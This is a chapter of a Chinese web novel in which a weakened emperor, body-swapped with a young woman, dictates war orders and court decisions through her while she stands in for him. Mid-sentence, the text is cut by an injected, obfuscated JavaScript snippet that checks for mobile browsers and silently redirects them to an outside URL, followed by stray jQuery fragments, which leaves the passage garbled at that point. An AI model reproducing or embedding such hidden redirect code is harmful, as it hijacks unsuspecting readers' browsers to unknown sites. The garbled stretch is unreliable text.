79. 傀儡

作品:《突然!我变成了皇帝

    “你是按照朕教你的话说的吗?”沈鄢一边翻看,一边询问。


    “是,调兵之法、粮草之策、兵力调配、行军路线……桩桩件件都是按照您教我的话说的。”纪文晏含胸浅笑,“他们还以为是我胸有丘壑,殊不知都是您在背后指点。他们没有质疑您的命令,不过,也提出了一点小要求。”


    她伸出手指,在文稿几处轻轻点了几下。


    “拿笔来。”沈鄢看见一处,不悦,下意识伸手。


    谁知一只玉白的手却在他掌边摊开:“陛下,您忘了?丁太医说过,您如今不可以劳心劳力,还是让我代劳吧。”


    沈鄢愣了一下,想起丁太医说的那句“折寿”,便把文稿交还给她。


    “行,你来。朕说,你改。”


    纪文晏轻轻点头,把文稿铺展开,执笔在砚边舔了两下,沉稳地开口:“陛下请说。”


    “他们想要从京城大营调取两万人,这太多了,京营绝不可空虚,朕只能允准一万人。不过,神机营里的器械够用,倒是可以再多给一千,其他士兵还是从别州调取,你稍后要告诫他们别乱来。”


    “是。”纪文晏点头,思考一番后提笔改过。


    回顾起粮草调拨那段,沈鄢又蹙起眉头:“粮草转运要经并州固县、陈县两地,怎么当地主官没有写上?大军通行都要预先告知,提前开通行方便之门,先锋令也要专选一队人马,你督促高见乡去办,哪怕他要选自己的亲兵也无所谓,这方面不用顾忌用人唯亲。”


    纪文晏又改。


    总之,文稿里每句话沈鄢都要细细分析,因为他人不在现场,所以总是有些不安,要不断询问纪文晏提出这个意见的官员当时是什么语气,什么表情?问明白了,再结合文稿里的句子进行修改,如此纠正了二十几处,沈鄢才终于点了头。


    纪文晏这才合上圣旨,去刚刚议事之地,重新召集六人换看,再交予中书令张秀下发。


    “传旨,备战。”


    齐松等六人领命而去。


    纪文晏站在空荡荡的议事殿中,凝望着他们的背影,忽然叹了口气。


    好累。


    不是以前动脑子琢磨怎么批改奏折的累,而是一种浸入骨子里的疲惫感,说不上来的情绪,但沉甸甸的,仿佛把心口都压得疼。


    她看见丁太医端着药进去,便也跟着进了正殿。


    沈鄢不喜欢宫女伺候他服药,肯定还是要她来喂的。


    等纪文晏进去的时候,沈鄢毫不意外地抬手。丁太医回头看到她的脸,大吃一惊,慌忙起身道:“臣是来送药的,刚刚问诊郡主殿下身体安康,没有什么问题。”


    “嗯,你退下吧。”


    丁太医赶紧两条腿飞快捣腾着跑路,走到门口,还是忍不住转头偷看一眼,就见纪文晏坐到了床边,非常自然地端起了药碗给沈鄢吹凉。


    陛下居然这么爱纪姑娘吗?


    那为什么不娶她?


    丁太医费解地走了。


    “陛下,我已经把修改好的文稿交给他们了。”纪文晏舀着药说。


    沈鄢靠在玉枕上闭目养神:“明日一早,陶光元会来报行军日程,你替朕去听。”


    “是。”纪文晏温柔地说,“刚才议事的时候,他们都夸我想出来的细节极为妥帖,陛下,您真是治国英才,贤明圣主。”


    “贤明圣主?”沈鄢嘴角微挑,“想不到你这样的性格,也会拍马屁了?”


    “我是说实话。”纪文晏一边给他喂药一边说,“陛下也知道,我什么都不懂,当然很怕给您丢人。还好我的演技不错,他们都被我骗过去了,您在他们心目中依旧是英明神武的样子,还好我没给您丢脸。”


    沈鄢喝了一口,定定地抬起眼神望她。


    纪文晏眨巴着眼睛,满面纯洁。


    “嗯。”


    沈鄢不想直接夸她,但他心里对纪文晏的态度是很满意的。虽然他总是说她什么都不懂,但她并不是蠢材,虽然不通国事好在听话。不管是千秋节还是这次镇压青州叛乱,全都把他的命令执行得很好。他现在虚弱得下不了床,确实需要一个人来代言,其他官员他信不过,纪文晏这个女子是最合适的。


    何况她还披着他的皮,实在是一个太棒的傀儡。


    可是,眼下却有一道难关。他们现在的位置是皇叶山,虽然回京城很近,但毕竟不在京城,只以“新郡主受伤”作为理由留在围场行宫是说服不了众人的,他们一定会劝说皇帝早日返回皇宫,在奉天殿里上朝。


    不然每一次奏折都要由人快马加鞭送来,太耽搁国事。


    真倒霉!


    明明下雨下了那么多天都没事,怎么就偏偏轮到假刺客事件时换过来了呢?届时每次都要借纪文晏的手来处理公务,简直太麻烦了!他现在的身份是郡主,虽然尊贵,却没有资格插手朝政——咦朕为什么没资格?


    “陛下,还有大半碗药要喝。”纪文晏的声音将他唤回神,“请您张嘴喝一口吧。”


    沈鄢看了她一眼,虚弱地张开嘴任她把药倒进来。


    “朕不是嫌苦。”


    这不是要面子,是实话。


    不管是因为这次的药特性里没有特别苦的药材,还是因为他现在顶着六仪郡主的身份,总之丁太医开的药都只有一股淡淡的清苦感,喝完后只要吃一颗蜜饯就能镇下去。


    “朕是在想,之后每次上朝你都不能马上给出解决办法,那些官员会不会觉得有点古怪呢?”


    沈鄢抛出一个问题:“你帮朕想想办法,怎么样才能让朕也跟着你一起上朝?”


    纪文晏忍不住笑得眯起了眼睛:“那不成了垂帘听政吗?太皇太后娘娘不会有意见?”


    连太皇太后都没干过的事情,一个郡主干了,她能不生气?


    “垂帘听政?”沈鄢摇摇头,“那还是算了吧,这又不是什么好话。”


    纪文晏:“……是啊,大臣们会不高兴的。”


    这话倒是激起了沈鄢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393694|195391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的逆反心理:“他们敢对朕的决定不高兴?朕想做什么就可以做什么。”


    纪文晏笑了起来:“那很简单啊,我以您的身份下一道圣旨,允许您从旁听政,到时候您有了处理的法子,就写小条子叫安麓交给我,我替您念,就当是我的决定不就行了?”


    沈鄢理智回笼,连连摆手:“胡来,这怎么能行?”


    纪文晏还想再劝,安麓却忽然在外头敲门。


    不是急事他也不敢前来打扰,因此纪文晏得到沈鄢的点头后,就马上扬声应允:“进来吧!”


    “是!”


    安麓进了门,立刻来到纪文晏面前禀告:“陛下,好消息,上次您让奴婢张榜的事情已经有结果了!来了很多揭榜的民间医生,不知该如何安置?现在那些人暂时拍了一些禁军护送到太医院,可是太医们都觉得这帮人太多了,占了他们的地方,甚至这些民间神医里居然还有女的!也不知道他们有没有本事,没有您的允许,他们不敢做决定,所以赶紧派人送了消息来。”


    问题都贴脸上来了,纪文晏下意识直接回答道:“既然太医院的人不满意,那就让他们先行对这些民间高手考验一番吧。唔,干脆就让方太医主事,他是儿科圣手,本来就应该由他来挑人。不过,即便是这回擢落的也不要直接送走,先换个宫殿安置,将对打内容抄写下来,等朕回到宫中会再进行一次选拔。”


    难得有这么多医生能用,不管是擅长什么,只要是有真材实料的人,为何不留在宫中呢?


    “朕又不是大夫,哪懂这么复杂的东西,你就让方太医听听他们的高见,若有可用的就直接送到公主府去,让这些人联席定案,一定要把江夫人和江少爷治好。”纪文晏摆摆手,“此事不可以耽误,你就按照朕的旨意赶紧去办。”


    “是是是。”安麓拱手答应,马上从屋子里退了出去。


    纪文晏松了口气,一转身,就对上了沈鄢玩味的表情。


    “呃。”


    她膝盖骨强撑着僵直,把自己撑在原地,尽量不显露出慌张。刚刚安麓进来时禀告得太快,又一直都是她记挂在心里的事,所以下意识就给了解决方案并且把人赶走,等到安麓离开以后和沈鄢对视她才意识到自己没有获得沈鄢的允许就擅自做主。


    而且纪文晏甚至没有把自己张榜寻医的事情在沈鄢这里过过明路……


    “这是怎么回事啊?”沈鄢问。


    “臣女——”


    “不用自称臣女,看你刚刚自称为朕的语气还蛮自然的。”沈鄢阴阳怪气地说道。


    很奇怪。


    只要沈鄢这样阴阳怪气地讲话,她心底的慌张就会一扫而空,只剩下无语和极度的冷静。人一冷静,就不会慌,不慌,就不会乱说话。


    她平静下来,在心底迅速整理好一番思路,接着缓缓说道:“陛下误会臣女了,这不是国事,只是一桩小事。之前您还没回来的时候,升平公主亲自进宫,向臣女求御医去她家里救她的媳妇和孙子。”